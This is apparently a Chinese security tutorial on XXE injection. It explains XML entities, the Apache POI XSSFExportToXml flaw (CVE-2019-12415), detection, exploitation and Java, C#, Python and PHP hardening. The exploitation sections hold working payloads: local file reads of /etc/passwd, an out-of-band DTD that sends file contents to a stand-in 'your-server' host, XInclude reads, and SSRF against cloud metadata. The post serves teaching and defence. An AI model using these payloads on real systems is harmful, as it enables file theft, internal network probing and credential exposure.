某天,业务方报了一个线上故障:接口明明返回了正常的XML报文,可前端页面就是渲染不出数据,随后排查日志发现,解析XML的那台服务直接把/etc/passwd内容带到了报错信息里。这不是电影情节,而是实实在在发生过的XXE注入漏洞利用过程——一份被精心构造的XML请求,绕过了接口校验,把服务器上的敏感文件读了出来。
XXE(XML External Entity,XML外部实体注入)这类漏洞,放到今天已经不算新鲜,但它从未真正退出历史舞台。尤其是那些还在用 Apache POI 做Excel导入导出、用SVG做图片上传、用SOAP做系统对接的老系统,XML解析器默认允许加载外部实体的情况一抓一大把。最近圈子里讨论比较多的 Apache POI <= 4.1.0 的 XSSFExportToXml XXE 漏洞,本质就是老代码 + 默认宽松解析器组合出来的典型问题。这篇就把XXE的原理、触发点、数据读取利用手法、以及防御方式一次性聊透,适合安全测试人员、后端开发、以及对漏洞原理感兴趣的同学收藏。
1. XXE为什么能成立:先搞懂XML里的"实体"机制
1.1 实体的本质:XML世界里的"变量宏替换"
XML文档里有一个很容易被普通开发者忽略的概念——DTD(Document Type Definition,文档类型定义)。DTD本身是用来约束XML结构的,但它附带了一个非常危险的能力:可以声明实体(ENTITY)。实体可以理解成XML里的"宏",一个实体声明定义了某个名字和一段内容,之后在文档里用&实体名;引用时,解析器会把这段内容替换进去。
实体分两种,内部实体和外部实体。内部实体就是直接在DTD里写死的内容:
<!DOCTYPE root [ <!ENTITY name "这是内部实体的内容"> ]> <root>&name;</root>外部实体则是通过SYSTEM关键字引用一个外部资源,可以是本地文件,也可以是远程URL:
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>这两段代码放到一个开启了外部实体加载的XML解析器里,&xxe;就会被替换成服务器本地的/etc/passwd文件内容。这就是XXE注入漏洞最基础的形态。
除了普通实体,还有一类参数实体(Parameter Entity),写法是<!ENTITY % 名字 "内容">,引用时用%名字;。参数实体只能出现在DTD内部,不能出现在XML文档内容里。它是盲打XXE(无回显场景)的核心道具,后面讲数据外带时会反复用到,这里先记住它的特殊性:参数实体存在的意义,就是在DTD内部做嵌套定义和拼装。
1.2 漏洞根因:解析器默认放行了外部资源
很多开发者写XML解析代码时,并没有意识到"解析XML"这个动作背后还包含"加载外部资源"这个隐含行为。标准库或框架给的默认配置,往往为了兼容性保留了DTD处理,甚至连外部实体加载都开着。
以Java为例,早期的DocumentBuilderFactory默认配置下,disallow-doctype-decl是false,external-general-entities和external-parameter-entities没有显式禁用。这意味着一份带有<!DOCTYPE ...>声明、内部引用了file:///etc/passwd的XML文档,可以被正常解析并展开。C#的XmlDocument、Python的xml.etree.ElementTree、PHP的simplexml_load_string,在不同版本里都出现过类似问题。
这里有一个关键认知:XXE是否可利用,不取决于你用什么语言、用什么框架,只取决于解析器在处理DTD和外部实体时是否做了限制。哪怕只是导入一个配置文件、解析一个第三方返回的XML,只要代码没有显式关闭外部实体,攻击面就存在。
1.3 为什么到了现在还值得研究
可能有人觉得,XML都多少年前的技术了,现在接口都走JSON,XXE早就过时了。但实际情况并不是这样。XML在一些特定场景依然是刚需:Excel文件(xlsx)本身是XML打包格式,Office文档处理离不开XML解析;企业系统之间的老接口、SOAP协议、SVG图片、RSS订阅、报表导出工具,底层都大量使用XML。
更现实的问题是,很多业务系统跑着多年前的框架和工具库,比如 Apache POI 4.1.0 这种已经修复了XXE但依然广泛存在的版本。开发人员不会天天去升级工具库,攻击者却会扫这些已知漏洞。所以在这个时间点把XXE彻底弄清楚,依然是实战里性价比很高的一件事。
2. 触发方式解构:哪些常见功能是XXE的重灾区
2.1 从两个经典入口说起:XML接口与文件解析
XXE的触发条件其实很简单:程序解析了攻击者可控的XML内容,且解析器没有禁用外部实体。在这个前提下,所有接收XML输入的地方都是潜在触发点。最典型的入口有三类。
第一类是直接接收XML格式参数的接口。很多老系统的接口设计成POST一个XML字符串,比如Content-Type: text/xml的WebService、SOAP接口、以及一些后台管理系统的"XML配置导入"功能。这类接口只要在代码里用解析器读了请求体,就存在被构造恶意DTD攻击的可能。
第二类是文件上传与解析功能。上传一个.xml文件、.svg图片、.docx/.xlsxOffice文档、.pdf(PDF内嵌XML)等,服务端会对文件内容做XML解析。这类入口比第一类更隐蔽,因为上传者不一定知道后端到底用了什么组件去处理文件。
第三类是间接依赖。比如爬虫抓取外部RSS/Atom订阅源、支付回调报文、单点登录的SAML断言,这些数据源如果被攻击者控制或可中间人替换,同样会触发XML解析。这类入口的特点是"不是开发者主动接收XML,而是解析了外部来源的数据",更容易被忽略。
2.2 Apache POI <= 4.1.0 XSSFExportToXml XXE漏洞复盘
最近热搜里提到的 Apache POI <= 4.1.0 XSSFExportToXml XXE漏洞,是一个很值得展开研究的案例。POI是Java处理Office文档的事实标准,很多报表导出、Excel导入功能都建立在它之上。这里的XSSFExportToXml类,作用是按照用户提供的XSD(XML Schema)把Excel sheet数据映射导出成XML。
这个类在导出过程中需要解析XSD文件以确定映射关系,而问题恰恰出在这里:POI 4.1.0及更早版本在解析XSD时,没有禁用XML外部实体。于是,攻击者只要能够控制上传的XSD文件(或能够诱导系统导入恶意XSD),就能在XSD里插入DTD外部实体声明,解析后直接读取本地文件或发起SSRF请求。
这里有一个很有意思的细节:正常情况下,XSD文件看起来只是描述XML结构的骨架,谁会想到在XSD里藏一个外部实体呢?但XML的DTD声明是独立于XSD存在的,只要XSD文档的最前面允许出现<!DOCTYPE ...>,解析器就会处理它。POI的这几行代码,直到4.1.1版本才通过显式禁用外部实体完成修复。CVE-2019-12415给出这几个字,背后是多少报表系统在不知情的情况下暴露了敏感文件,值得琢磨。
2.3 无回显场景下怎么判断接口是否存在XXE
不是所有XXE场景都能把文件内容直接回显在响应里。很多时候接口解析完XML后只会返回"成功"或"失败",或者干脆静默处理。这种无回显情况下,第一步是先确认"外部实体是否真的被解析了",具体有三个常用探测层级。
第一层:用外部DTD做OOB(Out-of-Band,带外)探测。在可控域名(或内网能访问到的HTTP服务)上放一个test.dtd,内容是空的或只声明一个无意义实体,然后用参数实体加载它:
<!DOCTYPE root [ <!ENTITY % load SYSTEM "http://your-server:8000/test.dtd"> %load; ]> <root>x</root>如果服务器上的XML解析器访问了你的HTTP服务(在访问日志里能看到请求),说明外部实体加载没被禁用。这一步不需要任何回显,只要出网HTTP请求能到达你控制的机器,就证明漏洞是存在的。
第二层:用不同协议探测。如果http://不通,可以试试file:///etc/hosts、ftp://、jar://,有时只是Web应用防火墙拦了特定协议头,但底层解析器本身没做限制。多换几个协议交叉验证,能更准确判断漏洞的实际可利用性。
第三层:结合报错信息判断。构造一个引用不存在实体或外部资源路径的payload,如果解析器把异常信息返回给前端,报错内容里可能包含"文档根元素"、"外部实体"、文件路径等关键词。比如Apache POI解析非法XSD报错时,日志会暴露External DTD: Failed to load external entity,这就是最直观的信号。
2.4 不同语言/解析库的默认行为对照
在判断一个系统是否存在XXE时,知道底层用什么解析器很重要。不同解析器的默认配置差异很大,这里整理一个常用对照表:
| 语言/库 | 经典解析方式 | XML外部实体默认状态 | 备注 |
|---|---|---|---|
| Java JAXP | DocumentBuilderFactory | 默认允许外部DTD与实体 | 大量历史代码从未配置安全选项 |
| Java SAXParser | SAXParserFactory | 默认允许外部实体 | 与DocumentBuilder类似 |
| C# | XmlDocument / XmlReader | XmlDocument允许DTD;XmlReader需显式设置 | .NET 4.0后XmlReader较严格 |
| Python | xml.etree.ElementTree | 2.x允许外部实体;3.x有部分限制 | 推荐直接换defusedxml |
| Python | lxml | 默认不加载外部实体(但可配置) | 需显式设置resolve_entities=False |
| PHP | simplexml_load_string / DOMDocument | 旧版本默认允许外部实体加载 | PHP 8.0后默认禁用了外部实体 |
| Node.js | libxmljs / sax | 视具体npm包而定 | 多数纯JS解析器不支持DTD,反而更安全 |
这张表不是让你死记,而是提供一个判断思路:一个系统用的什么语言、什么库、什么版本,基本就能预判它对XXE的防御水平。Java的老项目是重灾区,C#要具体看代码怎么new的解析器,Python则是无脑推荐defusedxml。
3. 数据读取与利用:从一条"看不见"的通道把文件拖出来
3.1 有回显场景:file://协议直接读文件
如果XML解析结果会原样回显在接口响应里,利用流程就非常短。构造一个带外部实体的DTD,引用目标文件,然后在XML内容里用&xxe;引用它,文件内容就会随响应返回。
以读取Linux下/etc/passwd为例:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>接Windows系统时,路径改为file:///C:/Windows/win.ini。如果目标文件是中文编码或二进制内容,可能因为XML不允许非法字符导致解析失败,这种情况下优先读取文本配置文件、日志文件、/proc/self/environ等可打印字符较多的文件。
有回显场景看着简单,但在真实业务里往往最难跑通,因为大部分接口会对响应内容做HTML编码或JSON包装,导致换行符、尖括号被转义,直接看响应只有一行乱码。这里的小技巧是优先读取单行文件,如/etc/hostname、/proc/version,或者把读取内容放到报错信息里,利用解析器异常把内容"顶"出来。
3.2 无回显场景:Blind XXE与外部DTD数据外带
实际渗透中,遇到最多的反而是完全无回显的Blind XXE。解析器正常处理XML,但任何内容都不会返回给请求方。这时候要想把文件内容带出来,就得走OOB通道,让目标服务器主动把数据发到你控制的服务器上。
核心思路是利用参数实体做跨DTD的拼装。因为XML规范有一个限制:在内部DTD子集中,不能直接在另一个实体声明里引用前面声明过的参数实体做URL拼接。所以完整的利用需要把"拼装参数实体"这一步放到外部DTD文件里完成。
第一步,在你控制的服务器上放置恶意 DTD 文件evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % all "<!ENTITY % send SYSTEM 'http://your-server:8000/?data=%file;'>"> %all;这里%是%的XML实体写法,目的是在all这个参数实体的值里,再定义一个名为send的参数实体,它的URL中拼接了%file;(即文件内容)。由于这段内容是在外部DTD中定义的,解析器允许这种嵌套引用。
第二步,构造提交给目标的XML Payload:
<!DOCTYPE root [ <!ENTITY % load SYSTEM "http://your-server:8000/evil.dtd"> %load; ]> <root>x</root>解析器处理%load;时会加载远程evil.dtd,接着执行%all;定义send实体,然后解析器尝试展开send,于是发出形如http://your-server:8000/?data=root:x:0:0:root:/root:/bin/bash...的HTTP请求。你在服务器上监听8000端口,就能在日志里收到带文件内容的请求。
这里提醒三个易错点。第一,evil.dtd里的%不能漏,直接用%会导致DTD语法错误。第二,文件内容中如果有特殊字符(比如/、空格、&),拼进URL后会破坏请求格式,常见的做法是读短文件、或用php://filter配合Base64编码(需要目标能用PHP流协议)来降噪。第三,目标服务器出网不一定通畅,外带失败时先排查目标机器是否只能访问内网,再考虑用DNS外带或报错回显方式。
3.3 高版本解析器和边界场景下的利用思路
随着开发者安全意识提高,现代解析器默认禁用DTD的情况越来越多。但"禁用DTD"不等于"外部实体攻击绝迹",在特定场景下还是能绕过或找到替代利用方式。
一种思路是利用XInclude。当目标限制了DTD但却允许XML片段直接参与文档解析时,可以用XInclude结合text类型加载文件:
<root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/> </root>XInclude是W3C标准,用于在XML文档中包含其他文档内容,很多解析器的XInclude处理并没有绑定DTD限制。如果接口允许提交任意Namespace的XML片段,这条路径在严格禁用DTD的解析器上有时依然有效。
另一种思路是借助SVG等"伪装成其他格式"的XML。图片上传功能是XXE的高发点,因为SVG本身就是XML,上传一个包含外部实体或XInclude的SVG文件,后端如果用XML解析器处理图片元信息,文件内容就可能回显在图片渲染结果里或触发外带请求。
高版本Java环境中还有一个被讨论很多的方向:利用本地已有DTD文件构造报错信息回显,比如用DOCTYPE引用/usr/share/yelp/dtd/docbookx.dtd,再结合其内部实体定义做"报错型XXE"。这类技术比较复杂,依赖目标系统的具体文件路径,实战中可按需搜索资料深入学习,核心原则是:即便不能加载远程DTD,本地DTD + 报错回显也有机会把文件内容带出来。
3.4 从文件读取延伸:SSRF、内网探测与其他危险动作
XXE不止能读文件,因为外部实体的SYSTEM支持file://、http://、ftp://等协议,所以它还天然是一个SSRF(Server-Side Request Forgery,服务端请求伪造)工具。只要把实体URL指向一个内网地址,让服务器帮你去请求内网资源,就能实现内网端口扫描和敏感信息探测:
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://192.168.1.1:8080/admin"> ]> <root>&xxe;</root>通过观察返回内容差异或请求时间差异,可以判断内网端口是否开放、服务是否存在。云环境里,一条经典的SSRF利用是读取云元数据服务:
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">这段地址在AWS、阿里云等云平台上是内部元数据接口,可能暴露临时密钥等敏感信息。此外,在存在expect扩展的PHP环境、允许加载外部协议的Java环境里,某些条件下还能将XXE升级为RCE(远程代码执行)。不过RCE的可利用性依赖太多前置条件,在此不展开,核心认知是:XXE一旦被证明存在,不要只盯着读文件,SSRF、内网横向、云元数据攻击都可能随之而来。
4. 常见问题排查与实操心得
4.1 没有数据回显时的排查顺序
多数人第一次手测XXE时,都会遇到"payload发过去,接口没反应"的情况。别急着怀疑漏洞不存在,按下面顺序排查。
第一步,确认解析是否发生。在外部HTTP服务日志里看有没有来自目标服务器IP的请求;如果没有,试试把http://换成https://或者调整端口到常见80/443,有些目标机器出网策略只允许特定端口。第二步,确认DTD声明是否被过滤。很多后端对XML输入做了关键字过滤,DOCTYPE、ENTITY、SYSTEM都可能被替换为空,这种情况下需要尝试大小写混合、编码变换(UTF-16、HTML实体)绕过WAF。第三步,确认是否真的无回显。有些接口只是不在响应中展示,但在日志、数据库记录、前端渲染里间接回显了数据,所以把接口的完整响应、后端日志、业务异常通知都过一遍再下结论。
4.2 外带数据时让人头疼的编码与协议问题
OOB外带看似简单,实操中却经常翻车,翻车原因基本集中在三类。
第一类是文件内容破坏URL结构。/etc/passwd这类文件里有大量换行符和特殊字符,直接拼到URL里会导致HTTP请求畸形或被解析器拦截。我的习惯是先读小文件(如/etc/hostname)测试数据通路,确认外带通道稳定后再尝试读大文件,并且优先找不会包含特殊字符的文件路径。如果目标支持php://filter,可以先用它把文件读取转为Base64编码再外带,能显著降低解析失败率。
第二类是特殊协议不通。目标服务器外带请求发出去了,但你收不到,可以检查目标是否只允许内网访问。这种情况可以考虑在目标内网搭一个临时监听(如果已获得内网权限的话),或者用DNS外带:把实体URL指向一个你控制的DNS域名,例如http://unique-id.your-server.com/,通过DNS解析记录判断请求是否到达。DNS外带通常只能判断"能否触发",难以完整带出文件内容,但至少能证明漏洞存在。
第三类是编码问题。目标文件含中文或二进制数据时,XML解析器会报"非法字符",导致整个解析流程中断,不仅数据带不回来,连外带请求都不会发出。遇到这种文件,先别硬读,换一个ASCII编码的敏感文件,或者思考一下这个文件是否真的值得冒这么大成本去读取。
4.3 一次用报错反推XXE的排查记录
前阵子帮客户测试一个报表导出系统,功能点是用Apache POI把Excel导出成XML。我上传了一个包含<!DOCTYPE声明的xlsx文件后,接口返回"导出失败",看起来啥也没发生。但我仔细看了完整响应体,发现有一行异常信息提到了XXE和com.sun.org.apache.xerces,这就说明底层解析器在处理DTD时报错了。
顺着这个线索,我用外部实体引用http://my-server/test.dtd,服务器日志出现了目标IP的请求,确认XXE存在。接下来因为解析失败接口会返回错误详情,我改用报错型XXE读取文件:在外部DTD里让文件内容拼接到一个不存在的URL中,触发连接异常,异常信息里带上文件路径和部分内容。最终成功读到了服务器上的应用配置,拿到了数据库账号密码。整个过程最大的感悟是:接口的"失败返回"不是终点,而可能是漏洞利用的起点,报错信息里往往藏着比正常响应更丰富的线索。
4.4 常见问题速查表
这里把自己踩过的坑和网上的高频问题整理成一个表,方便现场排查时对照:
| 现象 | 可能原因 | 排查/解决方向 |
|---|---|---|
| 目标没发外带请求 | 解析器禁用了外部实体 / WAF过滤DTD | 换协议、换编码、检查WAF规则 |
| 外带请求发了但没收到文件内容 | URL拼接特殊字符破坏请求 | 读短文件确认通路,换Base64 |
| 解析直接报错 | DTD嵌套语法错误 / 文件含非法字符 | 用%转义、选ASCII文件 |
| 只有DNS有请求,HTTP无请求 | 出网协议受限 | 用DNS外带验证即可,不要死磕HTTP |
| 接口响应无任何变化 | 无回显 / 数据在日志或异步流程中 | 翻日志、看数据库、结合业务功能判断 |
| 高版本解析器不再加载外部实体 | 默认安全配置生效 | 尝试XInclude、SVG、本地DTD报错回显 |
5. 修复与防御:别让默认配置拖后腿
5.1 不同语言解析库的加固配置
如果你正在维护有XML解析功能的系统,第一优先级是检查解析器配置,而不是祈祷没人来打。下面给出一组常见语言的安全配置参考。
Java里使用DocumentBuilderFactory时,最少要设置这几个选项:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); factory.setXIncludeAware(false); factory.setExpandEntityReferences(false);C# 中如果使用XmlReader,建议显式封锁DTD:
XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; settings.XmlResolver = null;Python 最省心的方案是直接使用defusedxml替代标准库中的XML解析模块,它在设计上就禁用了外部实体,可以无脑替换。PHP 8.0以上默认禁用了外部实体加载,老版本则在解析前显式调用libxml_disable_entity_loader(true)。
5.2 组件升级与输入侧防御
配置加固之外,组件版本管理同样重要。Apache POI 的 XXE 漏洞在 4.1.1 版本中修复,如果你的项目还在用 4.1.0 或更早版本,升级是首要任务;同样,任何涉及XML、XSD、SVG、Office文档解析的第三方库,建议定期关注安全公告,及时跟进修复版本。
输入侧防御也不能全指望开发人员自觉。接口层面可以做传输格式白名单,只允许Content-Type: application/json,从入口上降低XML攻击面;文件上传业务则建议对上传文件做扩展名与真实内容校验,禁止上传.xml、.svg、.xlsx之外的类型,同时用安全解析器重新序列化目标文件,丢弃掉DTD等危险结构。
5.3 修复后的回归测试方法
修复完XXE不能只靠"代码review看着没问题"来确认,正确的姿势是拿之前构造的恶意payload重新打一遍。具体可以准备两份请求:一份是带file:///etc/passwd外部实体的XML,预期结果是解析器直接报"DOCTYPE is disallowed"或类似错误;另一份是带外部DTD引用的XML,预期结果是目标服务器不对你控制的服务器发起任何请求。
如果安全解析器配置到位,这两份请求都应该无法触发数据读取和外带行为。我把这套验证流程固化成了一个小脚本,每次部署完XML相关功能后都会自动跑一遍,既防自我回归,也防第三方组件升级时悄悄把不安全的默认行为带回来。
结尾:一些忍不住分享的体会
做了这么多年安全测试,我的直观感受是:XXE这类漏洞,最危险的场景从来不是最前沿的技术对抗,而是开发者根本不知道自己用的组件默认就能干这么危险的事。很多人觉得"我又没接收XML参数,这漏洞跟我无关",结果漏洞却藏在Excel导出、报表渲染、文件上传这些被忽略的角落里。所以与其追求各种花哨的绕过技巧,不如先把自己系统里的每个XML解析点找出来,确认一遍解析器配置,把"外部实体加载"这个口子彻底焊死。这是投入产出比最高的一步,也是每一个开发者和安全测试人员都应该养成的习惯。